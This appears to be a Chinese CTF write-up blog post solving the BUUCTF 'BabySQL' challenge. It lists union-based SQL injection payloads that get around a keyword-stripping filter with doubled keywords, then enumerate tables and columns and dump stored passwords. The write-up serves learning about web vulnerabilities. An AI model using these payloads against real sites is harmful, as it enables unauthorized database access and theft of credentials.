zoukankan      html  css  js  c++  java
  • BUUCTF-[极客大挑战 2019]BabySQL 1 详解

    打开靶机

     应该是love sql惹的事吧,来了个加强版本的sql注入,不过我们先输入账号密码看有什么反应

    整一手万能密码,闭合双引号?username=admin&password=admin' or '1'='1

    然后报错了,说密码错误,然后我们重新构造pyload:?username=admin'&password=admin or '1'='1

    我们先闭合前面的,然后看看报错吗?果然报错了

     我们的or去哪里了,于是我们进一步测试,发现过滤了好多关键字,比如or, select,where, union。应该是用函数replace给我们替换成了空白字符

    知道了这样,我们就进行绕过,于是拼接字符,无法用order by 1来判断字段个数,我们只有使用联合查询看他是否能查出来,应该列数不太多,于是我们构造

    pyload:?username=admin&password=admin' uunionnion sselectelect 1,2%23

     于是我们发现出现错误,所以猜测列数错误,于是我们再加一列继续构造pyload

    ?username=admin&password=admin' uunionnion sselectelect 1,2,3%23

    这次显示出两个显示位,有显示位

     2.'3'就是我们的显示位,于是我们就在这两个地方随便选择显示查出数据的地方

    下一步我们就开始查表

    ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

    然后我们查出来两张表b4bsql和geekuser

     于是我们再继续对表进行查列字段

    ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

    查出三个列字段:id,username,password

     于是我们就开始爆数据

    ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

    然后我们的flag就呈现到自己的面前了,

     爱死这道题了,小伙伴们是不是对sql注入更深一步的了解了呢,反正我是有了新的体会。继续加油,继续努力。

  • 相关阅读:
    Android 懒加载简单介绍
    Android 使用RxJava实现一个发布/订阅事件总线
    Android 第三方库RxLifecycle使用
    Android 使用Retrofit2.0+OkHttp3.0实现缓存处理+Cookie持久化第三方库
    代码雨
    我的第一个博客(My first blog)
    merge法
    如何使用git将remote master上的内容merge 到自己的开发分支上  &  以及将自己分支的内容merge到remote master上...
    git 解决冲突
    Mac安装和破解激活Charles
  • 原文地址:https://www.cnblogs.com/junlebao/p/13803909.html
Copyright © 2011-2022 走看看